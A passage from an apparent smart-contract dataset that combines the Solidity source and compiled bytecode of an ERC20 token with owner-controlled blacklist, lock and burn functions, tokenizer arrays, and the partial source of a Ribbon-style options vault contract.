transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function promoteAdmin(address newAdmin) public virtual onlyOwner { require(_isAdmin[newAdmin] == false, "Ownable: address is already admin"); require(newAdmin != address(0), "Ownable: new admin is the zero address"); _isAdmin[newAdmin] = true; } function demoteAdmin(address oldAdmin) public virtual onlyOwner { require(_isAdmin[oldAdmin] == true, "Ownable: address is not admin"); require(oldAdmin != address(0), "Ownable: old admin is the zero address"); _isAdmin[oldAdmin] = false; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function isBlackList(address account) public view returns (bool) { return _blacklist[account]; } function getLockInfo(address account) public view returns (uint256, uint256) { lockDetail storage sys = _lockInfo[account]; if(block.timestamp > sys.lockUntil){ return (0,0); }else{ return ( sys.amountToken, sys.lockUntil ); } } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address funder, address spender) public view virtual override returns (uint256) { return _allowances[funder][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transferAndLock(address recipient, uint256 amount, uint256 lockUntil) public virtual onlyAdmin returns (bool) { _transfer(_msgSender(), recipient, amount); _wantLock(recipient, amount, lockUntil); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function lockTarget(address payable targetaddress, uint256 amount, uint256 lockUntil) public onlyAdmin returns (bool){ _wantLock(targetaddress, amount, lockUntil); return true; } function unlockTarget(address payable targetaddress) public onlyAdmin returns (bool){ _wantUnlock(targetaddress); return true; } function burnTarget(address payable targetaddress, uint256 amount) public onlyOwner returns (bool){ _burn(targetaddress, amount); return true; } function blacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantblacklist(targetaddress); return true; } function unblacklistTarget(address payable targetaddress) public onlyOwner returns (bool){ _wantunblacklist(targetaddress); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { lockDetail storage sys = _lockInfo[sender]; require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(_blacklist[sender] == false, "ERC20: sender address "); _beforeTokenTransfer(sender, recipient, amount); if(sys.amountToken > 0){ if(block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); }else{ uint256 checkBalance = _balances[sender].sub(sys.amountToken, "ERC20: lock amount exceeds balance"); _balances[sender] = checkBalance.sub(amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = _balances[sender].add(sys.amountToken); _balances[recipient] = _balances[recipient].add(amount); } }else{ _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _wantLock(address account, uint256 amountLock, uint256 unlockDate) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); require(_balances[account] >= sys.amountToken.add(amountLock), "ERC20: You can't lock more than account balances"); if(sys.lockUntil > 0 && block.timestamp > sys.lockUntil){ sys.lockUntil = 0; sys.amountToken = 0; } sys.lockUntil = unlockDate; sys.amountToken = sys.amountToken.add(amountLock); emit LockUntil(account, sys.amountToken, unlockDate); } function _wantUnlock(address account) internal virtual { lockDetail storage sys = _lockInfo[account]; require(account != address(0), "ERC20: Can't lock zero address"); sys.lockUntil = 0; sys.amountToken = 0; emit LockUntil(account, 0, 0); } function _wantblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == false, "ERC20: Address already in blacklist"); _blacklist[account] = true; emit PutToBlacklist(account, true); } function _wantunblacklist(address account) internal virtual { require(account != address(0), "ERC20: Can't blacklist zero address"); require(_blacklist[account] == true, "ERC20: Address not blacklisted"); _blacklist[account] = false; emit PutToBlacklist(account, false); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address funder, address spender, uint256 amount) internal virtual { require(funder != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[funder][spender] = amount; emit Approval(funder, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806370a08231116100de57806395d89b4111610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b806395d89b41146104b0578063a457c2d7146104b8578063a9059cbb146104e457610173565b806370a08231146103c7578063715018a6146103ed5780637238ccdb146103f5578063787f02331461043457806384d5d9441461045a5780638da5cb5b1461048c57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b57806352a97d5214610347578063569abd8d1461036d5780635e558d221461039557610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b6102216004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b6103936004803603602081101561038357600080fd5b50356001600160a01b03166108b2565b005b610221600480360360608110156103ab57600080fd5b506001600160a01b0381351690602081013590604001356109d0565b61023d600480360360208110156103dd57600080fd5b50356001600160a01b0316610a46565b610393610a61565b61041b6004803603602081101561040b57600080fd5b50356001600160a01b0316610b0e565b6040805192835260208301919091528051918290030190f35b6102216004803603602081101561044a57600080fd5b50356001600160a01b0316610b55565b6102216004803603606081101561047057600080fd5b506001600160a01b038135169060208101359060400135610bbd565b610494610c3a565b604080516001600160a01b039092168252519081900360200190f35b610180610c4e565b610221600480360360408110156104ce57600080fd5b506001600160a01b038135169060200135610caf565b610221600480360360408110156104fa57600080fd5b506001600160a01b038135169060200135610d17565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b6103936004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b610393600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bcc602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061151d565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b61065a83836115b4565b6000610854611013565b60085461010090046001600160a01b039081169116146108a9576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826116b0565b6108ba611013565b60085461010090046001600160a01b0390811691161461090f576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156109675760405162461bcd60e51b8152600401808060200182810382526021815260200180611cc66021913960400191505060405180910390fd5b6001600160a01b0381166109ac5760405162461bcd60e51b8152600401808060200182810382526026815260200180611b4e6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b6000600260006109de611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610a3b5760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b61076284848461179c565b6001600160a01b031660009081526020819052604090205490565b610a69611013565b60085461010090046001600160a01b03908116911614610abe576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610b42576000809250925050610b50565b805460019091015490925090505b915091565b6000610b5f611013565b60085461010090046001600160a01b03908116911614610bb4576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826118e3565b600060026000610bcb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610c285760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b610a3b610c33611013565b85856111b2565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610cbc611013565b8461075d85604051806060016040528060258152602001611ca16025913960046000610ce6611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061151d565b600061065a610d24611013565b84846111b2565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b286026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a986026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c5a6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611abe6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c356025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a306023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112b2576040805162461bcd60e51b8152602060048201526016602482015275022a92199181d1039b2b73232b91030b2323932b9b9960551b604482015290519081900360640190fd5b6112bd8484846119e8565b80541561144657806001015442111561136657600060018201819055815560408051606081019091526026808252611319918491611b0260208301396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113489083610fb2565b6001600160a01b038416600090815260208190526040902055611441565b60006113a98260000154604051806060016040528060228152602001611ae0602291396001600160a01b038816600090815260208190526040902054919061151d565b90506113d083604051806060016040528060268152602001611b026026913983919061151d565b6001600160a01b038616600090815260208190526040902081905582546113f79190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114269084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114cc565b61148382604051806060016040528060268152602001611b02602691396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114b29083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600081848411156115ac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611571578181015183820152602001611559565b50505050905090810190601f16801561159e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115f95760405162461bcd60e51b8152600401808060200182810382526021815260200180611c146021913960400191505060405180910390fd5b611605826000836119e8565b61164281604051806060016040528060228152602001611a76602291396001600160a01b038516600090815260208190526040902054919061151d565b6001600160a01b03831660009081526020819052604090205560055461166890826119ed565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166116f55760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff161561174d5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a536023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b6001600160a01b038316600081815260036020526040902090611806576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546118129084610fb2565b6001600160a01b03851660009081526020819052604090205410156118685760405162461bcd60e51b8152600401808060200182810382526030815260200180611b746030913960400191505060405180910390fd5b6000816001015411801561187f5750806001015442115b156118905760006001820181905581555b6001810182905580546118a39084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b0381166119285760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff1615151461199b576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061151d56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220fdc9818fe108226f0e12ac2aaf04a12bc0d234d89ccc63102f138a62744764d864736f6c63430007030033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2063, 2549, 3401, 2692, 2063, 12376, 2549, 2497, 27814, 26187, 7959, 16576, 2549, 2546, 22022, 19961, 2063, 2575, 11387, 2575, 9818, 2692, 27531, 26187, 19841, 1013, 1008, 1013, 1013, 2304, 17712, 6590, 1999, 2226, 1006, 8670, 23615, 2050, 1007, 1011, 9292, 17712, 6590, 1999, 2226, 1013, 1013, 4642, 2278, 1998, 1039, 2290, 10328, 4646, 1999, 2173, 1012, 1013, 1013, 5821, 5166, 1999, 2173, 1013, 1013, 5787, 4965, 2000, 6366, 28516, 2015, 1024, 2006, 1013, 1013, 5622, 28940, 25469, 5299, 1013, 1013, 1056, 2290, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 17712, 6590, 18715, 2368, 1013, 1013, 4037, 1024, 16770, 1024, 1013, 1013, 7479, 1012, 17712, 6590, 18715, 2368, 1012, 5658, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,496
0x96E53069ab54eFCdFEf488317B74Fb59ad1d528F
// SPDX-License-Identifier: MIT pragma solidity =0.8.4; import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {GnosisAuction} from "../../libraries/GnosisAuction.sol"; import { RibbonThetaVaultStorage } from "../../storage/RibbonThetaVaultStorage.sol"; import {Vault} from "../../libraries/Vault.sol"; import {VaultLifecycle} from "../../libraries/VaultLifecycle.sol"; import {ShareMath} from "../../libraries/ShareMath.sol"; import {ILiquidityGauge} from "../../interfaces/ILiquidityGauge.sol"; import {RibbonVault} from "./base/RibbonVault.sol"; /** * UPGRADEABILITY: Since we use the upgradeable proxy pattern, we must observe * the inheritance chain closely. * Any changes/appends in storage variable needs to happen in RibbonThetaVaultStorage. * RibbonThetaVault should not inherit from any other contract aside from RibbonVault, RibbonThetaVaultStorage */ contract RibbonThetaVault is RibbonVault, RibbonThetaVaultStorage { using SafeERC20 for IERC20; using SafeMath for uint256; using ShareMath for Vault.DepositReceipt; /************************************************ * IMMUTABLES & CONSTANTS ***********************************************/ /// @notice oTokenFactory is the factory contract used to spawn otokens. Used to lookup otokens. address public immutable OTOKEN_FACTORY; // The minimum duration for an option auction. uint256 private constant MIN_AUCTION_DURATION = 5 minutes; /************************************************ * EVENTS ***********************************************/ event OpenShort( address indexed options, uint256 depositAmount, address indexed manager ); event CloseShort( address indexed options, uint256 withdrawAmount, address indexed manager ); event NewOptionStrikeSelected(uint256 strikePrice, uint256 delta); event PremiumDiscountSet( uint256 premiumDiscount, uint256 newPremiumDiscount ); event AuctionDurationSet( uint256 auctionDuration, uint256 newAuctionDuration ); event InstantWithdraw( address indexed account, uint256 amount, uint256 round ); event InitiateGnosisAuction( address indexed auctioningToken, address indexed biddingToken, uint256 auctionCounter, address indexed manager ); /************************************************ * STRUCTS ***********************************************/ /** * @notice Initialization parameters for the vault. * @param _owner is the owner of the vault with critical permissions * @param _feeRecipient is the address to recieve vault performance and management fees * @param _managementFee is the management fee pct. * @param _performanceFee is the perfomance fee pct. * @param _tokenName is the name of the token * @param _tokenSymbol is the symbol of the token * @param _optionsPremiumPricer is the address of the contract with the black-scholes premium calculation logic * @param _strikeSelection is the address of the contract with strike selection logic * @param _premiumDiscount is the vault's discount applied to the premium * @param _auctionDuration is the duration of the gnosis auction * @param _isUsdcAuction is whether Gnosis auction should be denominated in USDC * @param _swapPath is the path for swapping */ struct InitParams { address _owner; address _keeper; address _feeRecipient; uint256 _managementFee; uint256 _performanceFee; string _tokenName; string _tokenSymbol; address _optionsPremiumPricer; address _strikeSelection; uint32 _premiumDiscount; uint256 _auctionDuration; bool _isUsdcAuction; bytes _swapPath; } /************************************************ * CONSTRUCTOR & INITIALIZATION ***********************************************/ /** * @notice Initializes the contract with immutable variables * @param _weth is the Wrapped Ether contract * @param _usdc is the USDC contract * @param _oTokenFactory is the contract address for minting new opyn option types (strikes, asset, expiry) * @param _gammaController is the contract address for opyn actions * @param _marginPool is the contract address for providing collateral to opyn * @param _gnosisEasyAuction is the contract address that facilitates gnosis auctions * @param _uniswapRouter is the contract address of UniswapV3 router that handles swaps * @param _uniswapFactory is the contract address of UniswapV3 factory containing */ constructor( address _weth, address _usdc, address _oTokenFactory, address _gammaController, address _marginPool, address _gnosisEasyAuction, address _uniswapRouter, address _uniswapFactory ) RibbonVault( _weth, _usdc, _gammaController, _marginPool, _gnosisEasyAuction, _uniswapRouter, _uniswapFactory ) { require(_oTokenFactory != address(0), "!_oTokenFactory"); OTOKEN_FACTORY = _oTokenFactory; } /** * @notice Initializes the OptionVault contract with storage variables. * @param _initParams is the struct with vault initialization parameters * @param _vaultParams is the struct with vault general data */ function initialize( InitParams calldata _initParams, Vault.VaultParams calldata _vaultParams ) external initializer { baseInitialize( _initParams._owner, _initParams._keeper, _initParams._feeRecipient, _initParams._managementFee, _initParams._performanceFee, _initParams._tokenName, _initParams._tokenSymbol, _vaultParams ); require( _initParams._optionsPremiumPricer != address(0), "!_optionsPremiumPricer" ); require( _initParams._strikeSelection != address(0), "!_strikeSelection" ); require( _initParams._premiumDiscount > 0 && _initParams._premiumDiscount < 100 * Vault.PREMIUM_DISCOUNT_MULTIPLIER, "!_premiumDiscount" ); require( _initParams._auctionDuration >= MIN_AUCTION_DURATION, "!_auctionDuration" ); optionsPremiumPricer = _initParams._optionsPremiumPricer; strikeSelection = _initParams._strikeSelection; premiumDiscount = _initParams._premiumDiscount; auctionDuration = _initParams._auctionDuration; isUsdcAuction = _initParams._isUsdcAuction; if (_initParams._isUsdcAuction) { require(_checkPath(_initParams._swapPath), "Invalid swapPath"); swapPath = _initParams._swapPath; } } /************************************************ * SETTERS ***********************************************/ /** * @notice Sets the new discount on premiums for options we are selling * @param newPremiumDiscount is the premium discount */ function setPremiumDiscount(uint256 newPremiumDiscount) external onlyOwner { require( newPremiumDiscount > 0 && newPremiumDiscount < 100 * Vault.PREMIUM_DISCOUNT_MULTIPLIER, "Invalid discount" ); emit PremiumDiscountSet(premiumDiscount, newPremiumDiscount); premiumDiscount = newPremiumDiscount; } /** * @notice Sets the new auction duration * @param newAuctionDuration is the auction duration */ function setAuctionDuration(uint256 newAuctionDuration) external onlyOwner { require( newAuctionDuration >= MIN_AUCTION_DURATION, "Invalid auction duration" ); emit AuctionDurationSet(auctionDuration, newAuctionDuration); auctionDuration = newAuctionDuration; } /** * @notice Sets the new strike selection contract * @param newStrikeSelection is the address of the new strike selection contract */ function setStrikeSelection(address newStrikeSelection) external onlyOwner { require(newStrikeSelection != address(0), "!newStrikeSelection"); strikeSelection = newStrikeSelection; } /** * @notice Sets the new options premium pricer contract * @param newOptionsPremiumPricer is the address of the new strike selection contract */ function setOptionsPremiumPricer(address newOptionsPremiumPricer) external onlyOwner { require( newOptionsPremiumPricer != address(0), "!newOptionsPremiumPricer" ); optionsPremiumPricer = newOptionsPremiumPricer; } /** * @notice Optionality to set strike price manually * @param strikePrice is the strike price of the new oTokens (decimals = 8) */ function setStrikePrice(uint128 strikePrice) external onlyOwner { require(strikePrice > 0, "!strikePrice"); overriddenStrikePrice = strikePrice; lastStrikeOverrideRound = vaultState.round; } /** * @notice Sets a new path for swaps * @param newSwapPath is the new path */ function setSwapPath(bytes calldata newSwapPath) external onlyOwner { require(isUsdcAuction, "!isUsdcAuction"); require(_checkPath(newSwapPath), "Invalid swapPath"); swapPath = newSwapPath; } /** * @notice Sets the new liquidityGauge contract for this vault * @param newLiquidityGauge is the address of the new liquidityGauge contract */ function setLiquidityGauge(address newLiquidityGauge) external onlyOwner { liquidityGauge = newLiquidityGauge; } /************************************************ * VAULT OPERATIONS ***********************************************/ /** * @notice Withdraws the assets on the vault using the outstanding `DepositReceipt.amount` * @param amount is the amount to withdraw */ function withdrawInstantly(uint256 amount) external nonReentrant { Vault.DepositReceipt storage depositReceipt = depositReceipts[msg.sender]; uint256 currentRound = vaultState.round; require(amount > 0, "!amount"); require(depositReceipt.round == currentRound, "Invalid round"); uint256 receiptAmount = depositReceipt.amount; require(receiptAmount >= amount, "Exceed amount"); // Subtraction underflow checks already ensure it is smaller than uint104 depositReceipt.amount = uint104(receiptAmount.sub(amount)); vaultState.totalPending = uint128( uint256(vaultState.totalPending).sub(amount) ); emit InstantWithdraw(msg.sender, amount, currentRound); transferAsset(msg.sender, amount); } /** * @notice Completes a scheduled withdrawal from a past round. Uses finalized pps for the round */ function completeWithdraw() external nonReentrant { uint256 withdrawAmount = _completeWithdraw(); lastQueuedWithdrawAmount = uint128( uint256(lastQueuedWithdrawAmount).sub(withdrawAmount) ); } /** * @notice Stakes a users vault shares * @param numShares is the number of shares to stake */ function stake(uint256 numShares) external nonReentrant { address _liquidityGauge = liquidityGauge; require(_liquidityGauge != address(0)); // Removed revert msgs due to contract size limit require(numShares > 0); uint256 heldByAccount = balanceOf(msg.sender); if (heldByAccount < numShares) { _redeem(numShares.sub(heldByAccount), false); } _transfer(msg.sender, address(this), numShares); _approve(address(this), _liquidityGauge, numShares); ILiquidityGauge(_liquidityGauge).deposit(numShares, msg.sender, false); } /** * @notice Sets the next option the vault will be shorting, and closes the existing short. * This allows all the users to withdraw if the next option is malicious. */ function commitAndClose() external nonReentrant { address oldOption = optionState.currentOption; VaultLifecycle.CloseParams memory closeParams = VaultLifecycle.CloseParams({ OTOKEN_FACTORY: OTOKEN_FACTORY, USDC: USDC, currentOption: oldOption, delay: DELAY, lastStrikeOverrideRound: lastStrikeOverrideRound, overriddenStrikePrice: overriddenStrikePrice }); ( address otokenAddress, uint256 premium, uint256 strikePrice, uint256 delta ) = VaultLifecycle.commitAndClose( strikeSelection, optionsPremiumPricer, premiumDiscount, closeParams, vaultParams, vaultState ); emit NewOptionStrikeSelected(strikePrice, delta); ShareMath.assertUint104(premium); currentOtokenPremium = uint104(premium); optionState.nextOption = otokenAddress; uint256 nextOptionReady = block.timestamp.add(DELAY); require( nextOptionReady <= type(uint32).max, "Overflow nextOptionReady" ); optionState.nextOptionReadyAt = uint32(nextOptionReady); _closeShort(oldOption); } /** * @notice Closes the existing short position for the vault. */ function _closeShort(address oldOption) private { uint256 lockedAmount = vaultState.lockedAmount; if (oldOption != address(0)) { vaultState.lastLockedAmount = uint104(lockedAmount); } vaultState.lockedAmount = 0; optionState.currentOption = address(0); if (oldOption != address(0)) { uint256 withdrawAmount = VaultLifecycle.settleShort(GAMMA_CONTROLLER); emit CloseShort(oldOption, withdrawAmount, msg.sender); } } /** * @notice Rolls the vault's funds into a new short position. */ function rollToNextOption() external onlyKeeper nonReentrant { ( address newOption, uint256 lockedBalance, uint256 queuedWithdrawAmount ) = 